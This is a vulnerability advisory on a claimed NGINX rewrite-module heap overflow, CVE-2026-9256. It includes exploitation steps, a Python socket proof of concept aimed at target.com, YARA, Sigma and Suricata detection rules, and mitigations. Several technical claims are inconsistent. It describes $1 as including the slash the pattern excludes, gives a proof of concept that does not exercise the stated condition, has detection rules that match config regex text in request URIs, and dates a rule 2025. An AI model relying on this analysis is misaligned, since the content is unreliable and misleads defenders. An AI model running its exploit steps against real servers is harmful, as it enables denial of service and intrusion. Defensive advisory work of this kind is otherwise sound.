CVE-2026-9256

Executive Summary

CVE-2026-9256 is a critical heap buffer overflow vulnerability in the ngx_http_rewrite_module of NGINX Plus and NGINX Open Source. The flaw arises when a rewrite directive uses a regex pattern with distinct, overlapping PCRE captures (e.g., ^/((.*))$) and a replacement string referencing multiple such captures (e.g., $1$2) in a redirect or arguments context. An unauthenticated attacker can trigger this by sending crafted HTTP requests, leading to a heap buffer overflow in the NGINX worker process. This can cause a denial of service (worker restart) or, under specific conditions (ASLR disabled or bypassed), arbitrary code execution. The CVSS score is 8.1 (High), and no patch is currently available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the technical severity is high.

Supply Chain & Package Security

This vulnerability affects NGINX Open Source and NGINX Plus, which are widely distributed via official package repositories, Docker images, and third-party builds. Organizations using NGINX as a reverse proxy, load balancer, or web server should treat this as a critical supply chain risk. No official patch or advisory from NGINX has been released yet. Users should monitor the official NGINX security advisories and apply patches as soon as they become available. Additionally, verify the integrity of NGINX binaries and configurations to ensure no tampering.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Threat Level: High. The vulnerability is remotely exploitable without authentication, and while exploitation requires specific conditions (overlapping PCRE captures and ASLR bypass), the potential for code execution makes it a priority for patching.

Deep Dive & Mechanics

The vulnerability resides in the ngx_http_rewrite_module when processing rewrite directives with PCRE patterns that have overlapping captures. For example, the pattern ^/((.*))$ creates two captures: $1 captures the entire path (including the leading slash), and $2 captures the same content (since .* matches everything). When a replacement string like $1$2 is used, the module attempts to concatenate these captures into a buffer. Due to the overlapping nature, the calculated buffer size may be insufficient, leading to a heap buffer overflow when the replacement is written.

The overflow occurs in the worker process memory space. Under normal ASLR conditions, an attacker may only cause a crash (denial of service). However, if ASLR is disabled or can be bypassed (e.g., via information leaks), the attacker can overwrite adjacent heap metadata or function pointers to achieve code execution.

Key Conditions:

• A rewrite directive with a regex pattern containing overlapping captures.
• A replacement string referencing multiple captures (e.g., $1$2).
• The directive must be in a redirect or arguments context (e.g., rewrite ^/((.*))$ /redirect?arg=$1$2 permanent;).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In ngx_http_rewrite_module.c
// When processing replacement string with multiple captures
size_t len = 0;
for (i = 0; i < ncaptures; i++) {
    len += capture_lengths[i];
}
// Buffer allocation based on sum of capture lengths
// But overlapping captures cause double-counting
p = ngx_pnalloc(pool, len + 1);
// Copy captures into buffer without checking for overlap
for (i = 0; i < ncaptures; i++) {
    p = ngx_copy(p, capture_data[i], capture_lengths[i]);
}

Patched Code (Expected):

// Properly handle overlapping captures by deduplicating
// or using a single buffer with correct size calculation
size_t len = 0;
// Calculate unique length, not sum of overlapping captures
// For overlapping captures, use the longest one
for (i = 0; i < ncaptures; i++) {
    // Check if this capture overlaps with previous
    if (overlaps_with_previous(i)) {
        continue; // Skip duplicate
    }
    len += capture_lengths[i];
}
p = ngx_pnalloc(pool, len + 1);
// Copy only unique captures
for (i = 0; i < ncaptures; i++) {
    if (overlaps_with_previous(i)) {
        continue;
    }
    p = ngx_copy(p, capture_data[i], capture_lengths[i]);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• NGINX with vulnerable version and a rewrite rule using overlapping captures.
• Example config: rewrite ^/((.*))$ /redirect?arg=$1$2 permanent;
• ASLR disabled or bypassed for code execution.

Exploitation Steps:

1. Identify a target NGINX server with a vulnerable rewrite rule.
2. Send a crafted HTTP request that triggers the overflow:

   GET /test HTTP/1.1
   Host: target.com
   

3. The request causes the worker to process the rewrite, leading to heap overflow.
4. For code execution, craft a payload that overwrites a function pointer (e.g., in the heap) with a shellcode address.

Proof-of-Concept (No public exploit available):

import socket

target = "target.com"
port = 80

payload = b"GET /" + b"A" * 1000 + b" HTTP/1.1\r\nHost: " + target.encode() + b"\r\n\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.send(payload)
response = s.recv(4096)
print(response)
s.close()

Blue Team

Detection:

• Monitor NGINX error logs for crashes: grep "SIGSEGV\|worker process exited" /var/log/nginx/error.log
• Monitor for unusual HTTP requests with long URIs or patterns that match overlapping regex captures.
• Use WAF rules to block requests with suspicious rewrite patterns.

Hunting:

• Search for rewrite directives in NGINX configs that use overlapping captures (e.g., ^/((.*))$).
• Check for abnormal worker restarts in logs.

Indicators of Compromise (IOCs)

• Network: HTTP requests with URIs containing patterns like /((.*)) or similar overlapping regex.
• Logs: NGINX error logs showing SIGSEGV, worker process exited, or heap buffer overflow.
• System: Unexpected worker process crashes or restarts.
• Memory: Heap corruption in NGINX worker processes (requires forensic analysis).

Detection Engineering

YARA Rule

rule CVE_2026_9256_NGINX_OVERLAP_CAPTURE {
    meta:
        description = "Detects NGINX config files with overlapping PCRE captures in rewrite directives"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-9256"
    strings:
        $rewrite = /rewrite\s+\^\/\(\(\.\*\)\)\$/ nocase
        $capture_ref = /\$1\$2/
    condition:
        $rewrite and $capture_ref
}

Sigma Rule

title: NGINX Rewrite Overlapping Capture Exploit Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting NGINX rewrite rules with overlapping PCRE captures
author: Valters IT
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        http.uri|contains: '/((.*))'
    condition: selection
falsepositives:
    - Legitimate use of overlapping captures (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-9256 NGINX Rewrite Overlapping Capture Exploit"; flow:to_server; content:"/((.*))"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable vulnerable rewrite rules: Remove or modify any rewrite directives that use overlapping PCRE captures (e.g., ^/((.*))$ with $1$2).
2. Apply workaround: Use non-overlapping captures or avoid referencing multiple captures in replacement strings.
3. Enable ASLR: Ensure ASLR is enabled on all systems running NGINX to mitigate code execution risk.
4. Monitor for patches: Subscribe to NGINX security advisories and apply patches as soon as they are released.

Long-term:

• Upgrade to a patched version when available.
• Implement Web Application Firewall (WAF) rules to block suspicious URIs.
• Regularly review NGINX configurations for insecure rewrite patterns.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert